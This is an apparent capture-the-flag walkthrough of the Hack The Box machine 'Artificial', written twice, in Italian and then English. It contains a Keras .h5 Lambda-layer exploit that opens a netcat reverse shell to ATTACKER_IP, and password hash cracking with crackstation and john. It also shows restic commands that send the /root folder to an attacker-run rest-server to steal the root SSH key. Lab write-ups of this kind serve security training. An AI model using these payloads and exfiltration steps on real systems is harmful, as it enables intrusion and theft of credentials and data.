Artificial

Foothold

Si mappa l’IP della macchina con l’hostname artificial.htb nel file /etc/hosts.

Si effettua una scansione TCP e si ottiene

kali@0xPR3ST1JH0NN7:~$ sudo nmap -sC -sV -oN artificial.txt artificial.htb
Scanned at 2025-09-19 15:07:52 CEST for 782s
Not shown: 997 closed tcp ports (reset)
PORT    STATE    SERVICE REASON          VERSION
22/tcp  open     ssh     syn-ack ttl 128 OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 7c:e4:8d:84:c5:de:91:3a:5a:2b:9d:34:ed:d6:99:17 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDNABz8gRtjOqG4+jUCJb2NFlaw1auQlaXe1/+I+BhqrriREBnu476PNw6mFG9ifT57WWE/qvAZQFYRvPupReMJD4C3bE3fSLbXAoP03+7JrZkNmPRpVetRjUwP1acu7golA8MnPGzGa2UW38oK/TnkJDlZgRpQq/7DswCr38IPxvHNO/15iizgOETTTEU8pMtUm/ISNQfPcGLGc0x5hWxCPbu75OOOsPt2vA2qD4/sb9bDCOR57bAt4i+WEqp7Ri/act+f4k6vypm1sebNXeYaKapw+W83en2LnJOU0lsdhJiAPKaD/srZRZKOR0bsPcKOqLWQR/A6Yy3iRE8fcKXzfbhYbLUiXZzuUJoEMW33l8uHuAza57PdiMFnKqLQ6LBfwYs64Q3v8oAn5O7upCI/nDQ6raclTSigAKpPbliaL0HE/P7UhNacrGE7Gsk/FwADiXgEAseTn609wBnLzXyhLzLb4UVu9yFRWITkYQ6vq4ZqsiEnAsur/jt8WZY6MQ8=
|   256 83:46:2d:cf:73:6d:28:6f:11:d5:1d:b4:88:20:d6:7c (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBOdlb8oU9PsHX8FEPY7DijTkQzsjeFKFf/xgsEav4qedwBUFzOetbfQNn3ZrQ9PMIHrguBG+cXlA2gtzK4NPohU=
|   256 e3:18:2e:3b:40:61:b4:59:87:e8:4a:29:24:0f:6a:fc (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIH8QL1LMgQkZcpxuylBjhjosiCxcStKt8xOBU0TjCNmD
80/tcp  open     http    syn-ack ttl 128 nginx 1.18.0 (Ubuntu)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://artificial.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
514/tcp filtered shell   no-response
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

La fase di ricognizione evidenzia la presenza di due servizi in ascolto sulla macchina target, ovvero SSH sulla porta 22 e un server web Nginx sulla porta 80.

L’esplorazione dell’applicativo web rivela una piattaforma dedicata all’addestramento di modelli di intelligenza artificiale. A seguito della registrazione e del login, l’interfaccia consente di effettuare l’upload di file con estensione .h5, generabili tramite script Python. Per agevolare l’operazione l’applicazione stessa fornisce uno snippet di codice dimostrativo utile a comprendere la corretta logica di creazione.

Per configurare l’ambiente di sviluppo necessario alla generazione dei modelli è possibile avvalersi di un’istanza Docker dedicata oppure installare manualmente le dipendenze Python richieste.

Artificial

Una volta completato il caricamento del file, il portale offre una funzionalità per visualizzare le predizioni elaborate.

Sospettando una possibile vulnerabilità nella fase di parsing di questi archivi, si effettua una ricerca per individuare vettori di attacco noti per questo specifico formato. L’indagine porta alla scoperta di un exploit pubblico, nello specifico è presente una PoC di Remote Code Execution (RCE) sviluppata per la libreria TensorFlow qui.

import tensorflow as tf

def exploit(x):
    import os
    os.system("rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc <ATTACKER_IP> <PORT> >/tmp/f")
    return x

model = tf.keras.Sequential()
model.add(tf.keras.layers.Input(shape=(64,)))
model.add(tf.keras.layers.Lambda(exploit))
model.compile()
model.save("exploit.h5")

Si modifica il payload e se ne effettua l’upload sul sito.

Richiesta

POST /upload_model HTTP/1.1
Host: artificial.htb
Content-Length: 13516
Cache-Control: max-age=0
Origin: http://artificial.htb
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryafnoO5epjy7LU7Wd
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://artificial.htb/dashboard
Accept-Encoding: gzip, deflate, br
Accept-Language: it-IT,it;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: session=eyJ1c2VyX2lkIjo3LCJ1c2VybmFtZSI6InByM3N0MWpoMG5ueSJ9.aM1fDQ.NGo9d9KmzzgaVPR8OG2cTsOIJQ4
Connection: keep-alive

------WebKitFormBoundaryafnoO5epjy7LU7Wd
Content-Disposition: form-data; name="model_file"; filename="exploit.h5"
Content-Type: application/octet-stream

[...]
{"class_name": "Sequential", "config": {"name": "sequential", "trainable": true, "dtype": {"module": "keras", "class_name": "DTypePolicy", "config": {"name": "float32"}, "registered_name": null}, "layers": [{"class_name": "InputLayer", "config": {"batch_shape": [null, 64], "dtype": "float32", "sparse": false, "ragged": false, "name": "input_layer"}}
[...]

------WebKitFormBoundaryafnoO5epjy7LU7Wd--

Risposta

HTTP/1.1 302 FOUND
Server: nginx/1.18.0 (Ubuntu)
Date: Fri, 19 Sep 2025 13:55:26 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 207
Connection: keep-alive
Location: /dashboard
Vary: Cookie

<!doctype html>
<html lang=en>
<title>Redirecting...</title>
<h1>Redirecting...</h1>
<p>You should be redirected automatically to the target URL: <a href="/dashboard">/dashboard</a>. If not, click the link.

Artificial

Ci si mette in ascolto con un listener e si preme “View Predictions”.

Dopo poco si riceve una connessione dal server.

Artificial

Foothold ottenuto.

Lateral Movement

Il foothold ottenuto tramite questo utente risulta tuttavia limitato, trattandosi di un account con privilegi standard. Si rende pertanto necessaria un’attività di lateral movement per acquisire un controllo maggiore sul sistema e proseguire con l’attacco.

Intanto, si effettua un upgrade della shell con Python come segue.

python3 -c "import pty;pty.spawn('/bin/bash');"

Analizzando i file /etc/passwd lo si incrocia con le cartelle presenti in /home si nota un utente, con cui potenzialmente si può tentare il lateral movement.

app@artificial:~$ cat /etc/passwd
[...]
gael:x:1000:1000:gael:/home/gael:/bin/bash

Continuando l’analisi sul sistema, viene trovato il file principale dell’applicazione Python, dove si nota che si connette a un database sqlite3 users.db.

from flask import Flask, render_template, request, redirect, url_for, session, send_file, flash
from flask_sqlalchemy import SQLAlchemy
from werkzeug.utils import secure_filename
import os
import tensorflow as tf
import hashlib
import uuid
import numpy as np
import io
from contextlib import redirect_stdout
import hashlib

app = Flask(__name__)
app.secret_key = "Sup3rS3cr3tKey4rtIfici4L"

app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///users.db'
app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False
app.config['UPLOAD_FOLDER'] = 'models'
[...]

Il file viene localizzato nella directory “instance” ed accedendo a tale si ottiene

app@artificial:~/app/instance$ sqlite3 users.db
sqlite3 users.db
SQLite version 3.31.1 2020-01-27 19:55:54
Enter ".help" for usage hints.
sqlite> .tables
.tables
model  user 
sqlite> select * from user;
select * from user;
1|gael|[email protected]|c99175974b6e192936d97224638a34f8
[...]

Passando l’hash c99175974b6e192936d97224638a34f8 su crackstation si ottiene come risultato mattp005numbertwo.

Ci si connette in SSH con le credenziali gael:mattp005numbertwo.

kali@0xPR3ST1JH0NN7:~$ ssh [email protected]
[email protected]'s password: 
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-216-generic x86_64)
[...]
Last login: Fri Sep 19 15:44:53 2025 from 10.10.14.99
gael@artificial:~$ id
uid=1000(gael) gid=1000(gael) groups=1000(gael),1007(sysadm)

Si prende la flag user.txt.

Privilege Escalation

In fase di enumerazione manuale del sistema, si nota la presenza di un’istanza di un’applicazione web, Backrest v1.7.2, sulla porta 9898 in localhost.

Effettuando il local port forwarding, è possibile accedervi in localhost sulla macchina dell’attaccante alla porta 9898 “127.0.0.1:9898”.

kali@0xPR3ST1JH0NN7:~$ ssh -L 9898:127.0.0.1:9898 gael@IP

Sull’applicazione web in questione è presente una pagina di login.

Artificial

Di conseguenza risulta indispensabile avviare un’approfondita fase di enumerazione del sistema, con l’obiettivo di raccogliere ulteriori dettagli utili a forzare l’accesso all’applicativo web.

Ispezionando meglio la macchina, nella cartella /var/backups è presente un backup di backrest.

gael@artificial:~$ ls -al /var/backups/
total 51972
drwxr-xr-x  2 root root       4096 Sep 27 06:25 .
drwxr-xr-x 13 root root       4096 Jun  2 07:38 ..
-rw-r--r--  1 root root      51200 Sep 27 06:25 alternatives.tar.0
-rw-r--r--  1 root root      38602 Jun  9 10:48 apt.extended_states.0
-rw-r--r--  1 root root       4253 Jun  9 09:02 apt.extended_states.1.gz
-rw-r--r--  1 root root       4206 Jun  2 07:42 apt.extended_states.2.gz
-rw-r--r--  1 root root       4190 May 27 13:07 apt.extended_states.3.gz
-rw-r--r--  1 root root       4383 Oct 27  2024 apt.extended_states.4.gz
-rw-r--r--  1 root root       4379 Oct 19  2024 apt.extended_states.5.gz
-rw-r--r--  1 root root       4367 Oct 14  2024 apt.extended_states.6.gz
-rw-r-----  1 root sysadm 52357120 Mar  4  2025 backrest_backup.tar.gz
-rw-r--r--  1 root root        268 Sep  5  2024 dpkg.diversions.0
-rw-r--r--  1 root root        135 Sep 14  2024 dpkg.statoverride.0
-rw-r--r--  1 root root     696841 Jun  9 10:48 dpkg.status.0

Questo backup risulta estraibile e leggibile, dato che gael fa parte del gruppo sysadm.

Estraendo i file dal backup, se ne nota uno interessante config.json.

gael@artificial:~/backrest$ cat .config/backrest/config.json 
{
  "modno": 2,
  "version": 4,
  "instance": "Artificial",
  "auth": {
    "disabled": false,
    "users": [
      {
        "name": "backrest_root",
        "passwordBcrypt": "JDJhJDEwJGNWR0l5OVZNWFFkMGdNNWdpbkNtamVpMmtaUi9BQ01Na1Nzc3BiUnV0WVA1OEVCWnovMFFP"
      }
    ]
  }
}

Al suo interno è presente una password in Base64, si fa il decoding e si ottiene l’hash di una password: $2a$10$cVGIy9VMXQd0gM5ginCmjei2kZR/ACMMkSsspbRutYP58EBZz/0QO

$2a$ indica l’algoritmo bcrypt e $10$ indica cost factor 10.

Utilizzando john the ripper per effettuare il cracking si ottiene la seguente password.

kali@0xPR3ST1JH0NN7:~$ john -w /usr/share/wordlists/rockyou.txt --format=bcrypt hash.txt 
Warning: invalid UTF-8 seen reading /usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 4 OpenMP threads
Proceeding with wordlist:/usr/share/john/password.lst
Press 'q' or Ctrl-C to abort, almost any other key for status
⟦!@#$%^⟧           (?)     
1g 0:00:00:16 DONE (2025-09-27 10:26) 0.06042g/s 210.9p/s 210.9c/s 210.9C/s !@#$%..Sverige
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

Le credenziali per l’accesso a Backrest sono backrest_root:!@#$%^.

Nella piattaforma è possibile creare un repository e lanciarvi dei comandi restic, con privilegi di root.

Ispirandosi a quanto riportato su GTFOBins, questa funzionalità può essere sfruttata per abusare di restic in modo malevolo.

sudo restic backup -r "rest:http://<ATTACKER_IP>:<PORT>/<REPO_NAME>" <FILE_OR_DIRECTORY>

Quello mostrato è un comando restic che permette di eseguire il backup di file e di caricarli su repository remoti rest-server.

Sfruttando lo stesso concetto, si può creare un repository remoto sulla macchina dell’attaccante e utilizzare questo comando su backrest per esfiltrare dati. Nello specifico, l’obiettivo è sottrarre i file appartenenti all’utente root, come le chiavi SSH, i backup o la history dei comandi. Questo è reso possibile dai comandi che si possono lanciare dalle repository create su backrest, sulla macchina compromessa.

Per installare rest-server si possono seguire le istruzioni presenti sulla repo https://github.com/restic/rest-server.

Per effettuare questo attacco, bisogna avviare il rest-server.

Artificial

Successivamente si crea una repo su backrest con una password e un repository URI come placeholder.

Artificial

Si accede alla dashboard della repository creata e si lanciano i seguenti comandi

/opt/backrest/restic backup -r rest:http://<ATTACKER_IP>:8000/test init
/opt/backrest/restic backup -r rest:http://<ATTACKER_IP>:8000/test /root

Questi permettono di inizializzare una nuova repository e di copiare l’intera cartella /root sul nostro rest-server, come viene mostrato nella seguente evidenza.

Artificial

Si usano quindi i seguenti comandi restic per elencare gli snapshot disponibili e ripristinare il backup ricevuto.

kali@0xPR3ST1JH0NN7:~$ restic -r ../../test snapshots
kali@0xPR3ST1JH0NN7:~$ restic -r ../../test restore 4073a65a --target .

Ora è possibile leggere il backup effettuato da backrest, contenente tutto ciò che si trova nella cartella /root della macchina compromessa.

Artificial

Una volta avuto l’accesso al file system è possibile trovare la chiave SSH dell’utente root e si utilizza per effettuare l’accesso con l’utente root.

Artificial

Shell ottenuta! Si invia la flag root.txt.

Foothold

First we map the machine’s IP to the hostname artificial.htb in the /etc/hosts file.

We run a TCP scan and get

kali@0xPR3ST1JH0NN7:~$ sudo nmap -sC -sV -oN artificial.txt artificial.htb
Scanned at 2025-09-19 15:07:52 CEST for 782s
Not shown: 997 closed tcp ports (reset)
PORT    STATE    SERVICE REASON          VERSION
22/tcp  open     ssh     syn-ack ttl 128 OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 7c:e4:8d:84:c5:de:91:3a:5a:2b:9d:34:ed:d6:99:17 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDNABz8gRtjOqG4+jUCJb2NFlaw1auQlaXe1/+I+BhqrriREBnu476PNw6mFG9ifT57WWE/qvAZQFYRvPupReMJD4C3bE3fSLbXAoP03+7JrZkNmPRpVetRjUwP1acu7golA8MnPGzGa2UW38oK/TnkJDlZgRpQq/7DswCr38IPxvHNO/15iizgOETTTEU8pMtUm/ISNQfPcGLGc0x5hWxCPbu75OOOsPt2vA2qD4/sb9bDCOR57bAt4i+WEqp7Ri/act+f4k6vypm1sebNXeYaKapw+W83en2LnJOU0lsdhJiAPKaD/srZRZKOR0bsPcKOqLWQR/A6Yy3iRE8fcKXzfbhYbLUiXZzuUJoEMW33l8uHuAza57PdiMFnKqLQ6LBfwYs64Q3v8oAn5O7upCI/nDQ6raclTSigAKpPbliaL0HE/P7UhNacrGE7Gsk/FwADiXgEAseTn609wBnLzXyhLzLb4UVu9yFRWITkYQ6vq4ZqsiEnAsur/jt8WZY6MQ8=
|   256 83:46:2d:cf:73:6d:28:6f:11:d5:1d:b4:88:20:d6:7c (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBOdlb8oU9PsHX8FEPY7DijTkQzsjeFKFf/xgsEav4qedwBUFzOetbfQNn3ZrQ9PMIHrguBG+cXlA2gtzK4NPohU=
|   256 e3:18:2e:3b:40:61:b4:59:87:e8:4a:29:24:0f:6a:fc (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIH8QL1LMgQkZcpxuylBjhjosiCxcStKt8xOBU0TjCNmD
80/tcp  open     http    syn-ack ttl 128 nginx 1.18.0 (Ubuntu)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://artificial.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
514/tcp filtered shell   no-response
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

The reconnaissance phase reveals two services listening on the target machine, namely SSH on port 22 and an Nginx web server on port 80.

Exploring the web application reveals a platform dedicated to training artificial intelligence models. After registering and logging in, the interface lets us upload files with the .h5 extension, which can be generated through Python scripts. To make this easier, the application itself provides a demonstrative code snippet useful for understanding the correct creation logic.

To set up the development environment needed to generate the models, we can use a dedicated Docker instance or manually install the required Python dependencies.

Artificial

Once the file upload is complete, the portal offers a feature to view the processed predictions.

Suspecting a possible vulnerability in the parsing stage of these archives, we search for known attack vectors for this specific format. The investigation leads to the discovery of a public exploit, specifically a Remote Code Execution (RCE) PoC developed for the TensorFlow library here.

import tensorflow as tf

def exploit(x):
    import os
    os.system("rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc <ATTACKER_IP> <PORT> >/tmp/f")
    return x

model = tf.keras.Sequential()
model.add(tf.keras.layers.Input(shape=(64,)))
model.add(tf.keras.layers.Lambda(exploit))
model.compile()
model.save("exploit.h5")

We modify the payload and upload it to the site.

Request

POST /upload_model HTTP/1.1
Host: artificial.htb
Content-Length: 13516
Cache-Control: max-age=0
Origin: http://artificial.htb
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryafnoO5epjy7LU7Wd
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://artificial.htb/dashboard
Accept-Encoding: gzip, deflate, br
Accept-Language: it-IT,it;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: session=eyJ1c2VyX2lkIjo3LCJ1c2VybmFtZSI6InByM3N0MWpoMG5ueSJ9.aM1fDQ.NGo9d9KmzzgaVPR8OG2cTsOIJQ4
Connection: keep-alive

------WebKitFormBoundaryafnoO5epjy7LU7Wd
Content-Disposition: form-data; name="model_file"; filename="exploit.h5"
Content-Type: application/octet-stream

[...]
{"class_name": "Sequential", "config": {"name": "sequential", "trainable": true, "dtype": {"module": "keras", "class_name": "DTypePolicy", "config": {"name": "float32"}, "registered_name": null}, "layers": [{"class_name": "InputLayer", "config": {"batch_shape": [null, 64], "dtype": "float32", "sparse": false, "ragged": false, "name": "input_layer"}}
[...]

------WebKitFormBoundaryafnoO5epjy7LU7Wd--

Response

HTTP/1.1 302 FOUND
Server: nginx/1.18.0 (Ubuntu)
Date: Fri, 19 Sep 2025 13:55:26 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 207
Connection: keep-alive
Location: /dashboard
Vary: Cookie

<!doctype html>
<html lang=en>
<title>Redirecting...</title>
<h1>Redirecting...</h1>
<p>You should be redirected automatically to the target URL: <a href="/dashboard">/dashboard</a>. If not, click the link.

Artificial

We set up a listener and press “View Predictions”.

After a short while we receive a connection from the server.

Artificial

Foothold obtained.

Lateral Movement

The foothold obtained through this user is nonetheless limited, being an account with standard privileges. A lateral movement is therefore needed to gain greater control over the system and continue the attack.

Meanwhile, we upgrade the shell with Python as follows.

python3 -c "import pty;pty.spawn('/bin/bash');"

Analyzing the /etc/passwd file, we cross-reference it with the folders in /home and notice a user with whom we could potentially attempt the lateral movement.

app@artificial:~$ cat /etc/passwd
[...]
gael:x:1000:1000:gael:/home/gael:/bin/bash

Continuing the analysis on the system, we find the main file of the Python application, where we notice that it connects to an sqlite3 database users.db.

from flask import Flask, render_template, request, redirect, url_for, session, send_file, flash
from flask_sqlalchemy import SQLAlchemy
from werkzeug.utils import secure_filename
import os
import tensorflow as tf
import hashlib
import uuid
import numpy as np
import io
from contextlib import redirect_stdout
import hashlib

app = Flask(__name__)
app.secret_key = "Sup3rS3cr3tKey4rtIfici4L"

app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///users.db'
app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False
app.config['UPLOAD_FOLDER'] = 'models'
[...]

The file is located in the “instance” directory, and by accessing it we get

app@artificial:~/app/instance$ sqlite3 users.db
sqlite3 users.db
SQLite version 3.31.1 2020-01-27 19:55:54
Enter ".help" for usage hints.
sqlite> .tables
.tables
model  user 
sqlite> select * from user;
select * from user;
1|gael|[email protected]|c99175974b6e192936d97224638a34f8
[...]

Passing the hash c99175974b6e192936d97224638a34f8 into crackstation we get mattp005numbertwo as the result.

We connect via SSH with the credentials gael:mattp005numbertwo.

kali@0xPR3ST1JH0NN7:~$ ssh [email protected]
[email protected]'s password: 
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-216-generic x86_64)
[...]
Last login: Fri Sep 19 15:44:53 2025 from 10.10.14.99
gael@artificial:~$ id
uid=1000(gael) gid=1000(gael) groups=1000(gael),1007(sysadm)

We grab the user.txt flag.

Privilege Escalation

During manual enumeration of the system, we notice the presence of an instance of a web application, Backrest v1.7.2, running on port 9898 on localhost.

By performing local port forwarding, we can access it on localhost on the attacker’s machine at port 9898 “127.0.0.1:9898”.

kali@0xPR3ST1JH0NN7:~$ ssh -L 9898:127.0.0.1:9898 gael@IP

The web application in question has a login page.

Artificial

Consequently, it becomes essential to start a thorough enumeration of the system, with the goal of gathering further details useful to force access to the web application.

Inspecting the machine more closely, in the /var/backups folder there is a backup of backrest.

gael@artificial:~$ ls -al /var/backups/
total 51972
drwxr-xr-x  2 root root       4096 Sep 27 06:25 .
drwxr-xr-x 13 root root       4096 Jun  2 07:38 ..
-rw-r--r--  1 root root      51200 Sep 27 06:25 alternatives.tar.0
-rw-r--r--  1 root root      38602 Jun  9 10:48 apt.extended_states.0
-rw-r--r--  1 root root       4253 Jun  9 09:02 apt.extended_states.1.gz
-rw-r--r--  1 root root       4206 Jun  2 07:42 apt.extended_states.2.gz
-rw-r--r--  1 root root       4190 May 27 13:07 apt.extended_states.3.gz
-rw-r--r--  1 root root       4383 Oct 27  2024 apt.extended_states.4.gz
-rw-r--r--  1 root root       4379 Oct 19  2024 apt.extended_states.5.gz
-rw-r--r--  1 root root       4367 Oct 14  2024 apt.extended_states.6.gz
-rw-r-----  1 root sysadm 52357120 Mar  4  2025 backrest_backup.tar.gz
-rw-r--r--  1 root root        268 Sep  5  2024 dpkg.diversions.0
-rw-r--r--  1 root root        135 Sep 14  2024 dpkg.statoverride.0
-rw-r--r--  1 root root     696841 Jun  9 10:48 dpkg.status.0

This backup turns out to be extractable and readable, since gael is a member of the sysadm group.

Extracting the files from the backup, we notice an interesting one, config.json.

gael@artificial:~/backrest$ cat .config/backrest/config.json 
{
  "modno": 2,
  "version": 4,
  "instance": "Artificial",
  "auth": {
    "disabled": false,
    "users": [
      {
        "name": "backrest_root",
        "passwordBcrypt": "JDJhJDEwJGNWR0l5OVZNWFFkMGdNNWdpbkNtamVpMmtaUi9BQ01Na1Nzc3BiUnV0WVA1OEVCWnovMFFP"
      }
    ]
  }
}

Inside it there is a Base64 password, decoding it we obtain a password hash: $2a$10$cVGIy9VMXQd0gM5ginCmjei2kZR/ACMMkSsspbRutYP58EBZz/0QO

$2a$ indicates the bcrypt algorithm and $10$ indicates cost factor 10.

Using john the ripper to crack it, we obtain the following password.

kali@0xPR3ST1JH0NN7:~$ john -w /usr/share/wordlists/rockyou.txt --format=bcrypt hash.txt 
Warning: invalid UTF-8 seen reading /usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 4 OpenMP threads
Proceeding with wordlist:/usr/share/john/password.lst
Press 'q' or Ctrl-C to abort, almost any other key for status
⟦!@#$%^⟧           (?)     
1g 0:00:00:16 DONE (2025-09-27 10:26) 0.06042g/s 210.9p/s 210.9c/s 210.9C/s !@#$%..Sverige
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

The credentials for accessing Backrest are backrest_root:!@#$%^.

On the platform we can create a repository and run restic commands on it, with root privileges.

Drawing inspiration from what is reported on GTFOBins, this feature can be leveraged to abuse restic maliciously.

sudo restic backup -r "rest:http://<ATTACKER_IP>:<PORT>/<REPO_NAME>" <FILE_OR_DIRECTORY>

What is shown here is a restic command that allows us to back up files and upload them to remote rest-server repositories.

Leveraging the same concept, we can create a remote repository on the attacker’s machine and use this command on backrest to exfiltrate data. Specifically, the goal is to steal the files belonging to the root user, such as SSH keys, backups or the command history. This is made possible by the commands we can launch from the repositories created on backrest, on the compromised machine.

To install rest-server, we can follow the instructions on the repo https://github.com/restic/rest-server.

To carry out this attack, we need to start the rest-server.

Artificial

Next, we create a repo on backrest with a password and a placeholder repository URI.

Artificial

We open the dashboard of the created repository and run the following commands

/opt/backrest/restic backup -r rest:http://<ATTACKER_IP>:8000/test init
/opt/backrest/restic backup -r rest:http://<ATTACKER_IP>:8000/test /root

These allow us to initialize a new repository and to copy the entire /root folder to our rest-server, as shown in the following evidence.

Artificial

We then use the following restic commands to list the available snapshots and restore the received backup.

kali@0xPR3ST1JH0NN7:~$ restic -r ../../test snapshots
kali@0xPR3ST1JH0NN7:~$ restic -r ../../test restore 4073a65a --target .

We are now able to read the backup made by backrest, containing everything found in the /root folder of the compromised machine.

Artificial

Once we have access to the file system, we can find the root user’s SSH key and use it to log in as the root user.

Artificial

Shell obtained! We submit the root.txt flag.